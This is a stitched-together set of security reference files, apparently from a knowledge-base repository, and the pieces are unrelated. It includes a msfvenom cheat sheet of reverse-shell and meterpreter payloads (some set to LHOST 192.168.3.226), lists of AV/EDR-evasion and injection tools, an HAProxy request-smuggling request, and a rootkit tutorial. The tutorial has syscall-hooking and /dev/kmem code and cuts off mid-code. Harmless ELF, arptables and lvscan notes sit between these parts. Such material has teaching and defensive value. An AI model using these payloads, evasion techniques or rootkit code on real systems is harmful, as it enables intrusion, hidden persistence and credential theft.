CMD=/bin/bash -f js_le -e generic/none ``` **Nodejs** ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js ``` ##### scripting **python** ```bash msfvenom -p cmd/unix/reverse_python lhost=your-ip lport=your-port -f raw > shell.py msfvenom -p python/shell_reverse_tcp lhost=your-ip lport=your-port -f raw ``` **jar** ```bash msfvenom -p java/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f raw -o shell.jar ``` **bash** ```bash msfvenom -p cmd/unix/reverse_bash lhost=your-ip lport=your-port -f raw > shell.sh ``` **perl** ```bash msfvenom -p cmd/unix/reverse_perl lhost=your-ip lport=your-port -f raw > shell.pl ``` **vbscript** ```bash msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port exitfunc=thread -f vbs -a x86 --platform windows > shell.vbs C:\Documents and Settings\Administrator>cscript shell.vbs ``` **Powershell** ```bash msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1 msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1 msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1 ``` **Ruby** ```bash msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb ``` **Lua** ```bash msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua ``` ##### shellcode **linux based shellcode** ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f <language> ``` **windows based shellcode** ```bash msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f <language> ``` **mac based shellcode** ```bash msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip lport=your-port -f <language> ``` --- #### msfencode ```bash msfvenom windows/shell_reverse_tcp lhost=your-ip lport=your-port R -e x86/shikata_ga_nai -t exe -c -9 -x /usr/share/windows-binaries/plink.exe(载体) -o ./shell.exe ``` ### Payload Generation **相关工具** - [mdsecactivebreach/CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH) - [mdsecactivebreach/SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - [tyranid/DotNetToJScript](https://github.com/tyranid/DotNetToJScript) - [TheWover/donut](https://github.com/TheWover/donut) - [KINGSABRI/DotNetToJScriptMini](https://github.com/KINGSABRI/DotNetToJScriptMini) ### Loader **相关文章** - [CS免杀-Shellcode Loader原理(python)](https://mp.weixin.qq.com/s/-WcEW1aznO2IuCezkCe9HQ) - [CS免杀-环境和编码补充(python)](https://mp.weixin.qq.com/s/_uMFatf4_yfGit-Xu7Ml9A) - [利用加载器以及Python反序列化绕过AV](https://www.echocipher.life/index.php/archives/648/) - [利用Python反序列化运行加载器实现免杀](https://my.oschina.net/u/4581868/blog/4380404) - [shellcode加载总结](https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html) - [从剖析CS木马生成到开发免杀工具](https://www.anquanke.com/post/id/210001) **相关工具** - C/C++ - [knownsec/shellcodeloader](https://github.com/knownsec/shellcodeloader) - [clinicallyinane/shellcode_launcher](https://github.com/clinicallyinane/shellcode_launcher) - [DimopoulosElias/SimpleShellcodeInjector](https://github.com/DimopoulosElias/SimpleShellcodeInjector) - [lengjibo/FourEye](https://github.com/lengjibo/FourEye) - [1y0n/AV_Evasion_Tool](https://github.com/1y0n/AV_Evasion_Tool) - go - [brimstone/go-shellcode](https://github.com/brimstone/go-shellcode) - misc - [Gality369/CS-Loader](https://github.com/Gality369/CS-Loader) - 远程 shellcode+RC4 - [Arno0x/ShellcodeWrapper](https://github.com/Arno0x/ShellcodeWrapper) ### 进程注入 **相关资源** - [sud01oo/ProcessInjection](https://github.com/sud01oo/ProcessInjection) - Some ways to inject a DLL into a alive process #### Reflection Injection **相关资源** - [stephenfewer/ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection) **相关文章** - [深入理解反射式dll注入技术](https://mp.weixin.qq.com/s/kVpesy_w7XLanL_WhRhn-Q) ### Platform > 各类平台的服务滥用 #### C2用途 - [mttaggart/OffensiveNotion](https://github.com/mttaggart/OffensiveNotion) - Notion as a platform for offensive operations - [D1rkMtr/VirusTotalC2](https://github.com/D1rkMtr/VirusTotalC2) - Abusing VirusTotal API to host our C2 traffic, usefull for bypassing blocking firewall rules if VirusTotal is in the target white list , and in case you don't have C2 infrastructure , now you have a free one #### 文件分发 - [利用NPM仓库充当文件托管服务](https://mp.weixin.qq.com/s/THbjQphUwelO0gSrsEz5IQ) #### Serverless - AWS Lambda - Cloudflare Workers - 腾讯云 云函数SCF ### 工具开发 - [汇编万岁之1KB的downloader](https://www.freebuf.com/sectool/325444.html) ### 对抗 **相关项目** - [optiv/Freeze](https://github.com/optiv/Freeze) - Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods - [echtdefault/Janus](https://github.com/echtdefault/Janus) **相关资源** - [Writing Tiny, Efficient, And Reliable Malware by Rad Kawar](https://www.youtube.com/watch?v=TfG9lBYCOq8) - https://github.com/rad9800/WTSRM **相关文章** - [回忆杀-特征码免杀](https://uknowsec.cn/posts/notes/%E5%9B%9E%E5%BF%86%E6%9D%80-%E7%89%B9%E5%BE%81%E7%A0%81%E5%85%8D%E6%9D%80.html) - [CobaltStrike与免杀初探](https://mp.weixin.qq.com/s/pHFBk01ed_Gy1K_3UJVc3g) - [The difference between signature-based and behavioural detections](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/) #### DLL 劫持 - [DLL 劫持](../OS安全/Windows安全.md#dll-劫持) #### 签名 **相关文章** - [SigFlip:将数据隐写到已签名的PE文件上](https://mp.weixin.qq.com/s/aOyNgfp6oHCNS8JqrradkQ) - [识别SigFlip生成的恶意文件](https://hacktech.cn/2021/12/10/identify-sigflip-file/) **相关工具** - [Tylous/Limelighter](https://github.com/Tylous/Limelighter) - [secretsquirrel/SigThief](https://github.com/secretsquirrel/SigThief) - [med0x2e/SigFlip](https://github.com/med0x2e/SigFlip) #### 虚拟化检测 **相关项目** - [LordNoteworthy/al-khaser](https://github.com/LordNoteworthy/al-khaser) - Public malware techniques used in the wild: Virtual Machine, Emulation, Debuggers, Sandbox detection. - [a0rtega/pafish](https://github.com/a0rtega/pafish) - Pafish is a testing tool that uses different techniques to detect virtual machines and malware analysis environments in the same way that malware families do - [p3tr0v/chacal](https://github.com/p3tr0v/chacal) - Golang anti-vm framework for Red Team and Pentesters **相关文章** - [虚拟化平台检测](https://mp.weixin.qq.com/s/qKsFP_2V76qBRVFTQ9R_Cw) - https://github.com/Ast1rtes/check-virtual-machine - [浅谈VMware环境去虚拟化](https://www.esw.ink/1114.html) - [[原创]虚拟机检测技术剖析](https://bbs.pediy.com/thread-119969.htm) - [攻击技术研判 | 改进的反虚拟机反调试技术](https://mp.weixin.qq.com/s/4ND7kC-_CTL1QWllJKQDjA) **几种思路** - 查询 I/O 通信端口 - 通过 MAC 地址检测 - CPUID 检测 - 通过主板序列号、型号、系统盘所在磁盘名称等其他硬件信息 - 特定进程检测 - 注册表检测 - 服务检测 - 文件路径检测 - 时间差检测 - 内存大小 #### 反调试 **相关项目** - [strivexjun/XAntiDebug](https://github.com/strivexjun/XAntiDebug) - VMProtect 3.x Anti-debug Method Improved
sec-knowleage
# Writeup ASIS CTF Finals 2016 Team: akrasuski, c7f.m0d3, cr019283, ppr, nazywam, rev, msm, shalom ![](./asis_scoreboard.png) ![](./asis_scoreboard_2.png) ### Table of contents * [Secu Prim (PPC)](secu_prim) * [RSA (Crypto)](rsa) * [DAM (Crypto)](dam) * [Races (Crypto)](races) * [SRPP (Crypto)](srpp) * [P1ng (Forensics)](p1ng) * [DSA (Crypto)](dsa) * [One Bad Son (Forensics)](one_bad_son) * [Master Page(Rev/Web/Crypto)](master_page)
sec-knowleage
# .symtab: Symbol Table ## 概述 每个目标文件都会有一个符号表,熟悉编译原理的就会知道,在编译程序时,必须有相应的结构来管理程序中的符号以便于对函数和变量进行重定位。 此外,链接本质就是把多个不同的目标文件相互“粘”在一起。实际上,目标文件相互粘合是目标文件之间对地址的引用,即函数和变量的地址的相互引用。而在粘合的过程中,符号就是其中的粘合剂。 目标文件中的符号表包含了**一些通用的符号**,这部分信息在进行了 `strip` 操作后就会消失。这些符号信息可能包括变量名、函数名。 符号表可以被视为一个数组,数组中的每一个元素都是一个结构体,具体如下 ```c typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; ``` 每个字段的含义如下 | 字段 | 说明 | | -------- | ------------------------------------------------------------ | | st_name | 符号在字符串表中对应的索引。如果该值非 0,则它表示了给出符号名的字符串表索引,否则符号表项没有名称。 注:外部 C 符号在 C 语言和目标文件的符号表中具有相同的名称。 | | st_value | 给出与符号相关联的数值,具体取值依赖于上下文,可能是一个正常的数值、一个地址等等。 | | st_size | 给出对应符号所占用的大小。如果符号没有大小或者大小未知,则此成员为0。 | | st_info | 给出符号的类型和绑定属性。之后会给出若干取值和含义的绑定关系。 | | st_other | 目前为 0,其含义没有被定义。 | | st_shndx | 如果符号定义在该文件中,那么该成员为符号所在节在节区头部表中的下标;如果符号不在本目标文件中,或者对于某些特殊的符号,该成员具有一些特殊含义。 | 其中,符号表中下标 0 存储了符号表的一个元素,同时这个元素也相对比较特殊,作为所有未定义符号的索引,具体如下 | 名称 | 取值 | 说明 | | -------- | ---- | ---------------- | | st_name | 0 | 无名称 | | st_value | 0 | 0 值 | | st_size | 0 | 无大小 | | st_info | 0 | 无类型,局部绑定 | | st_other | 0 | 无附加信息 | | st_shndx | 0 | 无节区 | ## st_value 在 Linux 的 ELF 文件中,具体说明如下 1. 该符号对应着一个变量,那么表明该变量在内存中的偏移。我们可由这个值获取其文件偏移 1. 获取该符号对应的 `st_shndx`,进而获取到相关的节区。 2. 根据节区头元素可以获取节区的虚拟基地址和文件基地址。 3. value-内存基虚拟地址=文件偏移-文件基地址 2. 该符号对应着一个函数,那么表明该函数在文件中的起始地址。 ## st_info st_info 中包含符号类型和绑定信息,这里给出了控制它的值的方式具体信息如下 ``` #define ELF32_ST_TYPE(i) ((i)&0xf) #define ELF32_ST_INFO(b, t) (((b)<<4) + ((t)&0xf)) ``` ### Symbol Type 可以看出 st_info 的低 4 位表示符号的类型,具体定义如下 | 名称 | 取值 | 说明 | | -------------------------- | ----- | ------------------------------------------------------------ | | STT_NOTYPE | 0 | 符号的类型没有定义。 | | STT_OBJECT | 1 | 符号与某个数据对象相关,比如一个变量、数组等等。 | | STT_FUNC | 2 | 符号与某个函数或者其他可执行代码相关。 | | STT_SECTION | 3 | 符号与某个节区相关。这种类型的符号表项主要用于重定位,通常具有 STB_LOCAL 绑定。 | | STT_FILE | 4 | 一般情况下,符号的名称给出了生成该目标文件相关的源文件的名称。如果存在的话,该符号具有 STB_LOCAL 绑定,其节区索引是 SHN_ABS 且优先级比其他`STB_LOCAL`符号高。 | | `STT_LOPROC`~`STT_HIPROC` | 13~15 | 保留用于特定处理器 | 共享目标文件中的函数符号有比较特殊,当另一个目标文件从共享目标文件中引用一个函数时,链接器自动为被引用符号创建过程链接表项。共享目标中除了`STT_FUNC` , 其它符号将不会通过过程链接表自动被引用。 如果一个符号的值指向节内的特定位置,则它的节索引号 `st_shndx`,包含了它在节头表中的索引。当一个节在重定位过程中移动时,该符号值也做相应改变,对该符号的引用继续指向程序中的相同位置。有些特定节索引值具有其他语义。 ### Symbol Binding 根据 `#define ELF32_ST_BIND(i) ((i)>>4)` 可以看出 st_info 的高 4 位表示符号绑定的信息。而这部分信息确定了符号的链接可见性以及其行为,具体的取值如下 | 名称 | 取值 | 说明 | | ----------------------- | ---- | ------------------------------------------------------------ | | STB_LOCAL | 0 | 表明该符号为局部符号,在包含该符号定义的目标文件以外不可见。相同名称的局部符号可以存在于多个文件中,互不影响。 | | STB_GLOBAL | 1 | 表明该符号为全局符号,对所有将被组合在一起的目标文件都是可见的。一个文件中对某个全局符号的定义将满足另一个文件对相同全局符号的未定义引用。我们称初始化非零变量的全局符号为强符号,只能定义一次。 | | STB_WEAK | 2 | 弱符号与全局符号类似,不过它们的定义优先级比较低。 | | STB_LOPROC ~STB_HIPROC | 13 | 这个范围的取值是保留给处理器专用语义的。 | 在每个符号表中,所有具有 STB_LOCAL 绑定的符号都优先于弱符号和全局符号。符号表节区中的 sh_info 项所对应的头部的成员包含第一个非局部符号的符号表索引。 此外,全局符号与弱符号的主要区别如下: - 当链接器在链接多个可重定位目标文件时,不允许定义多个相同名字的 `STB_GLOBAL` 符号。另一方面,如果存在一个已定义全局符号,则同名的弱符号的存在不会引起错误。链接器会优先选择全局定义,忽略弱符号定义。类似的,如果一个公共符号存在(`st_shndx`域为`SHN_COMMON`的符号),则同名的弱符号的存在不会引起错误。链接器会选择公共定义,忽略弱符号定义。 - 当链接器寻找文件库时,它会提取包含未定义全局符号的成员,可能是一个全局符号或者弱符号。链接器不会为了解决未定义的弱符号问题而提取文件,未定义的弱符号的值为0。 ## 符号取值 不同的目标文件类型对符号表项中 st_value 成员的解释不同: - 在可重定位文件中,st_value 保存了节区索引为 SHN_COMMON 的符号的对齐约束。 - 在可重定位文件中,st_value 保存了已定义符号的节区偏移。也就是说,st_value保留了st_shndx 所标识的节区的头部到符号位置的偏移。 - 在可执行和共享目标文件中,st_value 包含一个虚地址。为了使得这些文件的符号对动态链接器更有用,节区偏移(针对文件的解释)给出了与节区号无关的虚拟地址(针对内存的解释)。 符号表取值在不同的目标文件中具有相似的含义,可以有适当的程序可以采取高效的方法来访问数据。 ## st_shndx 特殊的索引及其意义如下 - SHN_ABS: 符号的取值具有绝对性,不会因为重定位而发生变化。 - SHN_COMMON: 符号标记了一个尚未分配的公共块。符号的取值给出了对齐约束,与节区的 sh_addralign 成员类似。就是说,链接编辑器将在地址位于 st_value 的倍数处为符号分配空间。符号的大小给出了所需要的字节数。 - SHN_UNDEF: 此索引值表示符号没有定义。当链接编辑器将此目标文件与其他定义了该符号的目标文件进行组合时,此文件中对该符号的引用将被链接到实际定义的位置。 ## 如何定位 那么对于一个符号来说如何定位其对应字符串的地址呢?具体步骤如下 1. 根据 Section Header Table 中符号节头中的 `sh_link` 获取该符号节中对应符号字符串节在 `Section Header Table` 中的下标。进而我们就可以获取对应符号节的地址。 2. 根据该符号的定义中的 st_name 获取该符号的偏移,即在对应符号节中的偏移。 3. 根据上述两者就可以定位一个符号对应的字符串的地址了。
sec-knowleage
# HAProxy Common Bugs ## Introduction What would you do if you came across a website that uses HAProxy? ## How to Detect `-` 1. CVE-2021-40346 (HTTP Request Smuggling) ``` POST /index.html HTTP/1.1 Host: abc.com Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 60 GET /admin/add_user.py HTTP/1.1 Host: abc.com abc: xyz ``` Source: - [JFrog](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/)
sec-knowleage
arptables === 管理ARP包过滤规则表 ## 补充说明 **arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。 ### 语法 ```shell arptables(选项) ``` ### 选项 ```shell -A:向规则链中追加规则; -D:从指定的链中删除规则; -l:向规则链中插入一条新的规则; -R:替换指定规则; -P:设置规则链的默认策略; -F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略; -Z:将规则链计数器清零; -L:显示规则链中的规则列表; -X:删除指定的空用户自定义规则链; -h:显示指令帮助信息; -j:指定满足规则的添加时的目标; -s:指定要匹配ARP包的源ip地址; -d:指定要匹配ARP包的目的IP地址。 ```
sec-knowleage
lvscan === 扫描逻辑卷 ## 补充说明 **lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。 ### 语法 ```shell lvscan(选项) ``` ### 选项 ```shell -b:显示逻辑卷的主设备和次设备号。 ``` ### 实例 使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令: ```shell [root@localhost ~]# lvscan #扫描所有的逻辑卷 ``` 输出信息如下: ```shell ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit ```
sec-knowleage
CSysSec注: 本文来自Diting0x的个人博客,分析了Linux下不同类型的rootkit、相关原理以及源码分析,值得推荐。 转载本文请务必注明,文章出处:《[Rootkit综合教程](http://www.csyssec.org/20170102/rootkittutorial/)》与作者信息:Diting0x ## 0x01 Definition of rootkit The term rootkit originates from the composition of the individual terms root, referring to the highest privilege of access that can be obtained in a traditional Unix-based operating system, and kit, referring to a set of programs that are designed to exploit a target system, gain root access and then maintain it without tripping any alarms. 简而言之,rootkit是攻击者向计算机系统中植入的,能够隐藏自身踪迹并保留超级用户权限的恶意程序。与worms,virus不同的是,rootkit基于攻击者已经拿到root权限之后对系统进行破坏。rootkit会尽可能通过隐藏文件、进程、模块、进程等信息避免被监控程序检测。 ## 0x02 Classification of Rootkit 早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或者修改一些系统配置文件、脚本来实现隐藏及后门. 然而应用层rootkit比较容易检测,比如基于ring 3的chkrootkit检测工具。后期逐渐演变成内核rootkit,hypervisor rootkit以及硬件级rootkit. 内核rootkit可分为hooking rootkit以及DKOM rootkit。 下面就先来具体介绍这两种kernel rootkit。 hypervisor以及硬件级rootkit本文不做具体介绍,想了解更详细的rootkit分类,可参考这篇文章:[Introducing Stealth Malware Taxonomy](http://blog.invisiblethings.org/papers/2006/rutkowska_malware_taxonomy.pdf) ## 0x03 Hooking(Kernel Object Hooking) Rootkit Hooking rootkit 主要基于lkm(loadable kernel module)技术,以可加载内核模块的形式通过系统提供的接口加载到内核空间,成为内核的一部分,进而通过hook系统调用等技术实现隐藏、后门功能,这时,rootkit便是内核的一个模块。 注:lkm is an object file that contains code to extend the running kernel, or so-called base kernel, of an operating system. lkm中文名为可加载内核模块,主要作用是用来扩展linux的内核功能。lkm的优点在于可以动态地加载到内存中,无须重新编译内核, 所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常被骇客用于rootkit技术当中。关于lkm更多的知识,可参考[Complete Linux Loadable Kernel Modules](https://www.thc.org/papers/LKM_HACKING.html) , 文章中也有与系统调用劫持相关的代码分析,下文会继续提到。lkm只是hooking rootkit的存在形式,而真正的技术在于如何hooking. 什么是hooking ? 来自wikipedia的解释: the term hooking covers a range of techniques used to alter or augment the behavior of an operating system, of applications, or of other software components by intercepting function calls or messages or events passed between software components. Code that handles such intercepted function calls, events or messages is called a “hook”. 假如正常执行的情况是 Funtion A -> Funtion B, 经过hooking之后的执行就变为 Funtion A -> Hook -> Funtion B. Hooking rootkit主要的hook对象是系统调用,也包括VFS函数劫持(如adore-ng),下文会提到。当应用程序发起系统调用(比如 open()打开文件)时,整个程序控制流就像这样: 1). 触发中断,然后程序在中断处理器(interrupt handler)定义的中断中继续执行。在Linux上,INT 80指令用来触发中断。 这时,rootkit可以用自己的函数替换内核的中断处理器。这需要修改IDT(Interrupt Descriptor Table). 具体修改代码下文还会继续提到。 2). 中断处理器在syscall table中查询被请求的syscall的地址,将执行跳转到该地址中。 a 这时,rootkit可以修改中断处理器而使用另一个syscall table, 这种类型的rootkit相对较少,可参考 Suckit, 文章Phrack issue 58, article 0x07 (“[Linux on-the-fly kernel patching without LKM](http://phrack.org/archives/issues/58/7.txt)”有具体描述.这种方式属于DKOM rootkit, 下文会详细讲解。 b 也可以只修改syscall table的入口地址,将其替换为rootkit自己的函数. 大部分的rootkit都采取这种方式,如adore-ng, knark, synapsis等。 3). 执行系统调用函数, 控制权返回到应用程序。 这时,rootkit也可以重写系统调用函数,在函数起始处放置jump,跳转到自己的函数中。 但很少有rootkit采用这种方法。 对于2).b 类型的rootkit, 可参考以下代码 ``` c #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/ int (*orig_mkdir)(const char *path); /*the original systemcall*/ int hacked_mkdir(const char *path) { return 0; /*everything is ok, but he new systemcall does nothing*/ } int init_module(void) /*module setup*/ { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal one*/ } ``` 注意,要对系统调用(sys_call_table)进行替换,却必须要获取该地址后才可以进行替换。但是Linux 2.6版的内核出于安全的考虑没有将系统调用列表基地址的符号sys_call_table导出,但是我们可以采取一些hacking的方式进行获取。 因为系统调用都是通过0x80中断来进行的,故可以通过查找0x80中断的处理程序来获得sys_call_table的地址。其基本步骤是: 1. 获取中断描述符表(IDT)的地址(使用C ASM汇编) 2. 从中查找0x80中断(系统调用中断)的服务例程(8*0x80偏移) 3. 搜索该例程的内存空间, 4. 从其中获取sys_call_table(保存所有系统调用例程的入口地址)的地址 有关获取IDT表地址的代码: ``` c unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } ``` 获取syscall table地址的方法还有许多,更多可参考 [Linux System Calls Hooking Method Summary](http://www.cnblogs.com/LittleHann/p/3854977.html) 。 对于 1)类型的rootkit相当于将系统调用的hook转移到了 对80中断的hook,具体可参考 [Rootkit Hacking Technology && Defence Strategy Research](http://www.cnblogs.com/LittleHann/p/3910696.html) 以及 [Phrack issue 59, article 0x04 (“Handling the Interrupt Descriptor Table”)](http://www.phrack.org/archives/issues/59/4.txt) 相关代码如下: ``` c /* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) "中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,获取指定的系统调用的函数地址指针,因为我们通过劫持80中断进而达到系统调用劫持的目的后,还需要将代码控制流重新导向原始的系统调用 */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace .. /* 5. 直接替换IDT中的某一项,也就是我们需要通过代码模拟原本"系统调用中断例程(IDT[0x80])"的代码逻辑 */ void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } .. void hook(void) { register int eax asm("eax"); switch(eax) { case __NR_getdents64: CallHookedSyscall(Sys_getdents64); break; case __NR_read: CallHookedSyscall(Sys_read); break; default: JmPushRet(dire_call); break; } //jmp to original syscall idt handler JmPushRet( after_call ); } ``` ## 0X04 DKOM Rootkit DKOM means direct kernel object manipulation-直接内核对象操作。所有的操作系统(linux、windows)都会把内核中的运行状态(包括进程信息、系统内核状态)这些数据以对象的形式保存下来,包括:结构体、队列与数组。这些内核状态信息往往保存在内核空间的某个地址段中,当我们通过系统向内核查询这些”内核状态信息”(运行进程的列表、开放的端口等)时,这些数据就被解析并返回。因为这些数据是保存在内存中的,所以可以直接去操作它们。 其主要利用/dev/kmem技术。 什么是/dev/kmem? 指的是kernel看到的虚拟内存的全镜像。可以用来访问kernel的内容,查看kernel的变量,也是DKOM rootkit的目标对象。注意还有个设备叫做/dev/mem,这是物理内存的全镜像,可以用来访问物理内存。 以下是DKOM rootkit利用/dev/kmem来获取syscall table地址的代码: ``` c #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; int kmem; void readkmem (void *m,unsigned off,int sz) { if (lseek(kmem,off,SEEK_SET)!=off) { perror("kmem lseek"); exit(2); } if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2); } } #define CALLOFF 100 /* we'll read first 100 bytes of int $0x80*/ main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF],*p; /* well let's read IDTR */ asm ("sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X\n",(int)idtr.base); /* now we will open kmem */ kmem = open ("/dev/kmem",O_RDONLY); if (kmem<0) return 1; /* read-in IDT for 0x80 vector (syscall) */ readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) | idt.off1; printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); /* we have syscall routine address now, look for syscall table dispatch (indirect call) */ readkmem (sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); sct = *(unsigned*)(p+3); if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p); } close(kmem); } ``` 获取syscall table后,可以将整个syscall table替换为rootkit的syscall table, 也是前文提到的Suckit 的攻击方式。 ## 0x05 Rootkit Objectives 1. 隐藏文件 通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的readdir实现隐藏文件及目录 2. 隐藏进程 隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。 3. 隐藏连接 netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。 4. 隐藏模块 lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果 5. 嗅探工具 * 嗅探工具可以通过libpcap库直接访问链路层,截获数据包 * 也可以通过linux的netfilter框架在IP层的hook点上截获数据包 嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式 6. 密码记录 密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能 7. 日志擦除 传统的unix日志主要在 * /var/log/messages * /var/log/lastlog * /var/run/utmp * /var * /log/wtmp下 可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息 8. 内核后门 * 本地的提权后门 本地的提权可以通过对内核模块发送定制命令实现 * 网络的监听后门 网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程 ## 0x06 Example-Module Hiding 在linux中,编写的内核模块通过insmod(实际上是执行了init_module系统调用)命令插入到内核中,模块便与一个struct module 结构体相关联,并成为内核的一部分。所有的内核模块都被维护在一个全局链表中,链表头是个全局变量struct module *modules. 任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next引用。要枚举module的方法有许多种: a).VFS方法: cat /proc/module: 直接读取/proc/module下的项; b). ring3方法: lsmod: 本质还是在读取/proc/module,做了一个代码封装,提供给用户一个良好的接口和界面; c). LKM方法: 直接通过kernel module枚举struct module->list; d). LKM方法: 直接通过kernel module枚举struct module->mkobj->kobj->entry; e).lKM方法: 直接通过kernel module枚举module->mkobj->kobj->kset. 下面介绍采用断链法技术进行内核模块隐藏的代码: ``` c /* MODULE HELPERS 使用"断链法"技术进行内核模块的隐藏 原理: 1. linux将所有的内核模块都在内核中用循环双链表串联起来了 2. 通过找到这些链表,并使用linux提供的链表操作宏将指定的"元素(对应内核模块)"从链表中断开 3. 